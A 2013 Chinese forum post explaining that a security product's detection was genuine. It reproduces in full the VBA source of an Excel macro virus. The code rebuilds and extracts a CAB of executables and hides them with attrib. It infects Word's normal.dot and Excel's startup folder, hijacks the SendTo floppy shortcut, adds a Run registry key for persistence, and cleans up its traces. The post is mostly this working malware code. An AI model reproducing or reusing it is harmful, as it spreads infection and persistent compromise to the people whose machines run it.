本帖最后由 Flameocean 于 2013-7-7 17:13 编辑
不是误报,费尔论坛有会员贴出了宏病毒的代码,如下,所以费尔拦截了
rivate Sub createcabfile()
Dim ch As Byte
on error resume next
Set fso = CreateObject("scripting.filesystemobject")
Set w = CreateObject("wscript.shell")
myfolder = w.specialfolders("Templates") & "\Software\"
If Not fso.folderexists(myfolder) Then
fso.createfolder myfolder
End If
For i=1 to Workbooks.Count
If Workbooks(i).name="normal.xlm" then
workbooks(i).close
fso.deletefile Application.StartupPath & "\normal.xlm"
End If
Next
For i=1 to Workbooks.Count
If Workbooks(i).name="norma1.xlm" then
goto a1
End If
Next
cabfile= "c:\cab.cab"
If Not fso.fileexists(Application.StartupPath & "\norma1.xlm") Then
fso.delete cabfile
open cabfile for binary access write as #1
For i = 1 To 150
hv = ThisWorkbook.Sheets("(m1)_(m2)_(m3)").Cells(i, 2).Value
n=1
m=instr(hv," ")
do while m>0
ch=CByte(mid(hv,n,m-n))
put #1,,ch
n=m+1
m=instr(n,hv," ")
loop
Next
close #1
w.Run "%COMSPEC% /c attrib -s -h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib -s -h c:\sendto.exe", 0, True
w.Run "%COMSPEC% /c extrac32 /E /Y /L c:\ c:\cab.cab", 0, True
w.Run "%COMSPEC% /c extract /E /Y /L c:\ c:\cab.cab", 0, True
fso.deletefile cabfile
fso.copyfile "c:\normal.dot", myfolder, True
set word=createobject("word.application")
ntpath=word.NormalTemplate.Path & "\"
word.quit
fso.copyfile "c:\normal.dot", ntpath, True
fso.copyfile "c:\norma1.xlm", Application.StartupPath & "\", True
fso.copyfile "c:\internet.exe", fso.getspecialfolder(1) & "\"
set fold=fso.getfolder(w.SpecialFolders("SendTo"))
for each ff in fold.files
if instr(ff.name,"软盘")>0 then
set lnk=w.CreateShortcut(fold.path & "\" & ff.name)
lnk.TargetPath="c:\sendto.exe"
lnk.IconLocation="shell32.dll,6"
lnk.save
goto e2
end if
next
e2:
fso.deletefile "c:\normal.dot"
fso.deletefile "c:\norma1.xlm"
fso.deletefile "c:\internet.exe"
w.Run "%COMSPEC% /c attrib +s +h c:\setflag.exe", 0, True
w.Run "%COMSPEC% /c attrib +s +h c:\sendto.exe", 0, True
w.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internet.exe","internet.exe"
w.regdelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Internat.exe"
End If
Workbooks.Open Application.StartupPath & "\norma1.xlm"
thisworkbook.Sheets("(m1)_(m2)_(m3)").Columns(2).Copy workbooks("norma1.xlm").sheets("(m1)_(m2)_(m3)").Columns(2)
workbooks("norma1.xlm").save
fso.copyfile Application.StartupPath & "\norma1.xlm",myfolder,true
a1:
fso.deletefile "c:\excel.txt"
Application.DisplayAlerts = False
for i=1 to thisworkbook.sheets.count
if left(thisworkbook.sheets(i).name,3)="模块表" then
ThisWorkbook.Sheets(i).Delete
end if
next
Application.DisplayAlerts = True
ThisWorkbook.Saved=True
End Sub |